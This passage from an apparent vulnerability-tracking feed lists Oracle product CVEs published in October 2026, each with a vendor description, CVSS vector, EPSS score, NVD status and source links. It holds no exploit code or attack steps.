NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91499&date=2026-10-25
Vulnerability in the RDBMS component of Oracle Database Server.  Supported versions that are affected are 23.4.0-23.26.3. Easily exploitable vulnerability allows low privileged attacker having DBMS_VECTOR privilege with network access via Oracle Net to compromise RDBMS.  Successful attacks of this vulnerability can result in takeover of RDBMS. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Workflow product of Oracle E-Business Suite (component: Workflow Notification Mailer).
https://kevwire.com/record/CVE-2026-91496
Vulnerability in the Workflow product of Oracle E-Business Suite (component: Workflow Notification Mailer). (Oct 20, 2026).
Vulnerability in the Workflow product of Oracle E-Business Suite (component: Workflow Notification Mailer).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Workflow.  Successful attacks of this vulnerability can result in takeover of Workflow. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91496).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91496&date=2026-10-25).
Sources:
NVD CVE-2026-91496: https://nvd.nist.gov/vuln/detail/CVE-2026-91496
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91496&date=2026-10-25
Vulnerability in the Workflow product of Oracle E-Business Suite (component: Workflow Notification Mailer).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Workflow.  Successful attacks of this vulnerability can result in takeover of Workflow. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).
https://kevwire.com/record/CVE-2026-91494
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway). (Oct 20, 2026).
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Identity Manager Connector.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 7.4 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91494).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91494&date=2026-10-25).
Sources:
NVD CVE-2026-91494: https://nvd.nist.gov/vuln/detail/CVE-2026-91494
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91494&date=2026-10-25
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Identity Manager Connector.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).
https://kevwire.com/record/CVE-2026-91493
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway). (Oct 20, 2026).
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via LDAP to compromise Oracle Identity Manager Connector.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91493).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91493&date=2026-10-25).
Sources:
NVD CVE-2026-91493: https://nvd.nist.gov/vuln/detail/CVE-2026-91493
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91493&date=2026-10-25
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via LDAP to compromise Oracle Identity Manager Connector.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: SAP ERP+).
https://kevwire.com/record/CVE-2026-91492
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: SAP ERP+). (Oct 20, 2026).
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: SAP ERP+).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Identity Manager Connector.  While the vulnerability is in Oracle Identity Manager Connector, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).
CVSS 8.7 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91492).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91492&date=2026-10-25).
Sources:
NVD CVE-2026-91492: https://nvd.nist.gov/vuln/detail/CVE-2026-91492
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91492&date=2026-10-25
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: SAP ERP+).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Identity Manager Connector.  While the vulnerability is in Oracle Identity Manager Connector, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).
https://kevwire.com/record/CVE-2026-91489
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway). (Oct 20, 2026).
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Identity Manager Connector executes to compromise Oracle Identity Manager Connector.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).
CVSS 7.1 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91489).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91489&date=2026-10-25).
Sources:
NVD CVE-2026-91489: https://nvd.nist.gov/vuln/detail/CVE-2026-91489
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91489&date=2026-10-25
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Identity Manager Connector executes to compromise Oracle Identity Manager Connector.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Generic REST).
https://kevwire.com/record/CVE-2026-91488
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Generic REST). (Oct 20, 2026).
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Generic REST).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Identity Manager Connector executes to compromise Oracle Identity Manager Connector.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).
CVSS 7.1 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91488).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91488&date=2026-10-25).
Sources:
NVD CVE-2026-91488: https://nvd.nist.gov/vuln/detail/CVE-2026-91488
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91488&date=2026-10-25
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Generic REST).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Identity Manager Connector executes to compromise Oracle Identity Manager Connector.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Java SE (component: Java plugin).
https://kevwire.com/record/CVE-2026-91484
Vulnerability in Oracle Java SE (component: Java plugin). (Oct 20, 2026).
Vulnerability in Oracle Java SE (component: Java plugin).  Supported versions that are affected are Oracle Java SE: 8u503 and  8u503-perf. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Java SE executes to compromise Oracle Java SE.  While the vulnerability is in Oracle Java SE, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Java SE accessible data as well as  unauthorized access to critical data or complete access to all Oracle Java SE accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.5 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91484).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91484&date=2026-10-25).
Sources:
NVD CVE-2026-91484: https://nvd.nist.gov/vuln/detail/CVE-2026-91484
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91484&date=2026-10-25
Vulnerability in Oracle Java SE (component: Java plugin).  Supported versions that are affected are Oracle Java SE: 8u503 and  8u503-perf. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Java SE executes to compromise Oracle Java SE.  While the vulnerability is in Oracle Java SE, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Java SE accessible data as well as  unauthorized access to critical data or complete access to all Oracle Java SE accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.5 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).
https://kevwire.com/record/CVE-2026-91483
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core). (Oct 20, 2026).
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Outside In Technology executes to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91483).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91483&date=2026-10-25).
Sources:
NVD CVE-2026-91483: https://nvd.nist.gov/vuln/detail/CVE-2026-91483
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91483&date=2026-10-25
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Outside In Technology executes to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: Web Listener).
https://kevwire.com/record/CVE-2026-91473
Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: Web Listener). (Oct 20, 2026).
Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: Web Listener).   The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle HTTP Server executes to compromise Oracle HTTP Server.  Successful attacks of this vulnerability can result in takeover of Oracle HTTP Server. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91473).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91473&date=2026-10-25).
Sources:
NVD CVE-2026-91473: https://nvd.nist.gov/vuln/detail/CVE-2026-91473
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91473&date=2026-10-25
Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: Web Listener).   The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle HTTP Server executes to compromise Oracle HTTP Server.  Successful attacks of this vulnerability can result in takeover of Oracle HTTP Server. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the PeopleSoft Enterprise FIN Common Objects Argentina product of Oracle PeopleSoft (component: Integration).
https://kevwire.com/record/CVE-2026-91465
Vulnerability in the PeopleSoft Enterprise FIN Common Objects Argentina product of Oracle PeopleSoft (component: Integration). (Oct 20, 2026).
Vulnerability in the PeopleSoft Enterprise FIN Common Objects Argentina product of Oracle PeopleSoft (component: Integration).   The supported version that is affected is 9.1. Easily exploitable vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise PeopleSoft Enterprise FIN Common Objects Argentina.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all PeopleSoft Enterprise FIN Common Objects Argentina accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91465).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91465&date=2026-10-25).
Sources:
NVD CVE-2026-91465: https://nvd.nist.gov/vuln/detail/CVE-2026-91465
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91465&date=2026-10-25
Vulnerability in the PeopleSoft Enterprise FIN Common Objects Argentina product of Oracle PeopleSoft (component: Integration).   The supported version that is affected is 9.1. Easily exploitable vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise PeopleSoft Enterprise FIN Common Objects Argentina.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all PeopleSoft Enterprise FIN Common Objects Argentina accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Image Export SDK).
https://kevwire.com/record/CVE-2026-91460
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Image Export SDK). (Oct 20, 2026).
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Image Export SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Outside In Technology executes to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91460).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91460&date=2026-10-25).
Sources:
NVD CVE-2026-91460: https://nvd.nist.gov/vuln/detail/CVE-2026-91460
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91460&date=2026-10-25
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Image Export SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Outside In Technology executes to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Image Export SDK).
https://kevwire.com/record/CVE-2026-91459
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Image Export SDK). (Oct 20, 2026).
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Image Export SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Outside In Technology executes to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91459).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91459&date=2026-10-25).
Sources:
NVD CVE-2026-91459: https://nvd.nist.gov/vuln/detail/CVE-2026-91459
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91459&date=2026-10-25
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Image Export SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Outside In Technology executes to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).
https://kevwire.com/record/CVE-2026-91458
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core). (Oct 20, 2026).
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Outside In Technology executes to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91458).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91458&date=2026-10-25).
Sources:
NVD CVE-2026-91458: https://nvd.nist.gov/vuln/detail/CVE-2026-91458
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
